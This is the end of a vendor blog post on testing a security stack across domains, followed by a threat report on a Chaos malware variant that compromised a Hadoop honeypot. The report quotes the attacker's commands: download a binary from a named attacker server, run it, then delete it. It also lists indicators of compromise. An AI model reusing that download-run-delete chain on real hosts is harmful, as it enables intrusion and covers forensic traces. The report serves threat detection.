  1. Autonomous Boundary Test
  • Induce a low‑grade anomaly (credential spray simulation).
  • Evaluate whether automated containment rules activate without breaking legitimate workflows.

3. Can your team investigate a cross‑domain incident without swivel‑chairing?

Integration questions

  • Can analysts pivot from identity → SaaS → cloud → endpoint in one narrative, not five consoles?
  • Does your investigation tooling use graphs or sequence-based reasoning, or is it list‑based?

Why it matters

Darktrace’s Cyber AI Analyst and DIGEST research highlights why investigations must interpret structure and progression, not just standalone alerts. Attackers now move between systems faster than human triage cycles.  

Tests you can run

  1. One‑Hour Timeline Build Test
  • Pick any detection.
  • Give an analyst one hour to produce a full sequence: entry → privilege → movement → egress.
  • Weak seam indicator: they spend >50% of the hour stitching exports.
  1. Multi‑Hop Replay Test
  • Simulate an incident that crosses domains (phish → SaaS token → data access).
  • Evaluate whether the investigative platform auto‑reconstructs the chain.

4. Do you detect intent or only outcomes?

Integration questions

  • Can your stack detect the setup behaviors before an attack becomes irreversible?
  • Are you catching pre‑CVE anomalies or post‑compromise symptoms?

Why it matters

Darktrace publicly documents multiple examples of pre‑CVE detection, where anomalous behavior was flagged days before vulnerability disclosure. AI‑assisted attackers will hide behind benign‑looking flows until the very last moment.

Tests you can run

  1. Intent‑Before‑Impact Test
  • Simulate reconnaissance-like behavior (DNS anomalies, odd browsing to unknown SaaS, atypical file listing).
  • Mature systems will flag intent even without an exploit.
  1. CVE‑Window Test
  • During a real CVE patch cycle, measure detection lag vs. public PoC release.
  • Weak seam indicator: your detection rises only after mass exploitation begins.

5. Are response and remediation two separate universes?

Integration questions

  • When you contain something, does that trigger root-cause remediation workflows in identity, cloud config, or SaaS posture?
  • Does fixing a misconfiguration automatically update correlated controls?

Why it matters

Darktrace’s cloud investigations (e.g., cloud compromise analysis) emphasize that remediation must close both runtime and posture gaps in parallel.

Tests you can run

  1. Closed‑Loop Remediation Test
  • Introduce a small misconfiguration (over‑permissioned identity).
  • Trigger an anomaly.
  • Mature stacks will: detect → contain → recommend or automate posture repair.
  1. Drift‑Regression Test
  • After remediation, intentionally re‑introduce drift.
  • The system should immediately recognize deviation from known‑good baseline.

6. Do SaaS, cloud, email, and identity all agree on “normal”?

Integration questions

  • Is “normal behavior” defined in one place or many?
  • Do baselines update globally or per-tool?

Why it matters

Attackers (including AI‑assisted ones) increasingly exploit misaligned baselines, behaving “normal” to one system and anomalous to another.

Tests you can run

  1. Baseline Drift Test
  • Change the behavior of a service account for 24 hours.
  • Mature platforms will flag the deviation early and propagate updated expectations.
  1. Cross‑Domain Baseline Consistency Test
  • Compare identity’s risk score vs. cloud vs. SaaS.
  • Weak seam indicator: risk scores don’t align.

Final takeaway

Security teams should ask be focused on how their stack operates as one system before AI amplifies pressure on every seam.

Only once an organization can reliably detect, correlate, and respond across domains can it safely begin to secure AI models, agents, and workflows.

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About the author
Nabil Zoldjalali
VP, Field CISO

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April 7, 2026

Darktrace Identifies New Chaos Malware Variant Exploiting Misconfigurations in the Cloud

Chaos Malware Variant Exploiting Misconfigurations in the CloudDefault blog imageDefault blog image

Introduction

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.

One example of software targeted within Darktrace’s honeypots is Hadoop, an open-source framework developed by Apache that enables the distributed processing of large data sets across clusters of computers. In Darktrace’s honeypot environment, the Hadoop instance is intentionally misconfigured to allow attackers to achieve remote code execution on the service. In one example from March 2026, this enabled Darktrace to identify and further investigate activity linked to Chaos malware.

What is Chaos Malware?

First discovered by Lumen’s Black Lotus Labs, Chaos is a Go-based malware [1]. It is speculated to be of Chinese origin, based on Chinese language characters found within strings in the sample and the presence of zh-CN locale indicators. Based on code overlap, Chaos is likely an evolution of the Kaiji botnet.

Chaos has historically targeted routers and primarily spreads through SSH brute-forcing and known Common Vulnerabilities and Exposures (CVEs) in router software. It then utilizes infected devices as part of a Distributed Denial-of-Service (DDoS) botnet, as well as cryptomining.

Darktrace’s view of a Chaos Malware Compromise

The attack began when a threat actor sent a request to an endpoint on the Hadoop deployment to create a new application.

The initial infection being delivered to the unsecured endpoint.
Figure 1: The initial infection being delivered to the unsecured endpoint.

This defines a new application with an initial command to run inside the container, specified in the command field of the am-container-spec section. This, in turn, initiates several shell commands:

  • curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - downloads a file from the attacker’s server, in this case a Chaos agent malware executable.
  • chmod 777 7c49006c2e417f20c732409ead2d6cc0. - sets permissions to allow all users to read, write, and execute the malware.
  • ./7c49006c2e417f20c732409ead2d6cc0. - executes the malware
  • rm -rf 7c49006c2e417f20c732409ead2d6cc0. - deletes the malware file from the disk to reduce traces of activity.

In practice, once this application is created an attacker-defined binary is downloaded from their server, executed on the system, and then removed to prevent forensic recovery. The domain pan.tenire[.]com has been previously observed in another campaign, dubbed “Operation Silk Lure”, which delivered the ValleyRAT Remote Access Trojan (RAT) via malicious job application resumes. Like Chaos, this campaign featured extensive Chinese characters throughout its stages, including within the fake resume themselves. The domain resolves to 107[.]189.10.219, a virtual private server (VPS) hosted in BuyVM’s Luxembourg location, a provider known for offering low-cost VPS services.

Analysis of the updated Chaos malware sample

Chaos has historically targeted routers and other edge devices, making compromises of Linux server environments a relatively new development. The sample observed by Darktrace in this compromise is a 64-bit ELF binary, while the majority of router hardware typically runs on ARM, MIPS, or PowerPC architecture and often 32-bit.

The malware sample used in the attack has undergone notable restructuring compared to earlier versions. The default namespace has been changed from “main_chaos” to just “main”, and several functions have been reworked. Despite these changes, the sample retains its core features, including persistence mechanisms established via systemd and a malicious keep-alive script stored at /boot/system.pub.

The creation of the systemd persistence service.
Figure 2: The creation of the systemd persistence service.

Likewise, the functions to perform DDoS attacks are still present, with methods that target the following protocols:

  • HTTP
  • TLS
  • TCP
  • UDP
  • WebSocket

However, several features such as the SSH spreader and vulnerability exploitation functions appear to have been removed. In addition, several functions that were previously believed to be inherited from Kaiji have also been changed, suggesting that the threat actors have either rewritten the malware or refactored it extensively.

A new function of the malware is a SOCKS proxy. When the malware receives a StartProxy command from the command-and-control (C2) server, it will begin listening on an attacker-controlled TCP port and operates as a SOCKS5 proxy. This enables the attacker to route their traffic via the compromised server and use it as a proxy. This capability offers several advantages: it enables the threat actor to launch attacks from the victim’s internet connection, making the activity appear to originate from the victim instead of the attacker, and it allows the attacker to pivot into internal networks only accessible from the compromised server.

The command processor for StartProxy. Due to endianness, the string is reversed.
Figure 3: The command processor for StartProxy. Due to endianness, the string is reversed.

In previous cases, other DDoS botnets, such as Aisuru, have been observed pivoting to offer proxying services to other cybercriminals. The creators of Chaos may have taken note of this trend and added similar functionality to expand their monetization options and enhance the capabilities of their own botnet, helping ensure they do not fall behind competing operators.

The sample contains an embedded domain, gmserver.osfc[.]org[.]cn, which it uses to resolve the IP of its C2 server.  At time or writing, the domain resolves to 70[.]39.181.70, an IP owned by NetLabel Global which is geolocated at Hong Kong.

Historically, the domain has also resolved to 154[.]26.209.250, owned by Kurun Cloud, a low-cost VPS provider that offers dedicated server rentals. The malware uses port 65111 for sending and receiving commands, although neither IP appears to be actively accepting connections on this port at the time of writing.

Key takeaways

While Chaos is not a new malware, its continued evolution highlights the dedication of cybercriminals to expand their botnets and enhance the capabilities at their disposal. Previously reported versions of Chaos malware already featured the ability to exploit a wide range of router CVEs, and its recent shift towards targeting Linux cloud-server vulnerabilities will further broaden its reach.

It is therefore important that security teams patch CVEs and ensure strong security configuration for applications deployed in the cloud, particularly as the cloud market continues to grow rapidly while available security tooling struggles to keep pace.

The recent shift in botnets such as Aisuru and Chaos to include proxy services as core features demonstrates that denial-of-service is no longer the only risk these botnets pose to organizations and their security teams. Proxies enable attackers to bypass rate limits and mask their tracks, enabling more complex forms of cybercrime while making it significantly harder for defenders to detect and block malicious campaigns.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

Indicators of Compromise (IoCs)

ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos Malware hash

182[.]90.229.95 - Attacker IP

pan.tenire[.]com (107[.]189.10.219) - Server hosting malicious binaries

gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - Attacker C2 Server

References

[1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/

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About the author
Nathaniel Bill
Malware Research Engineer
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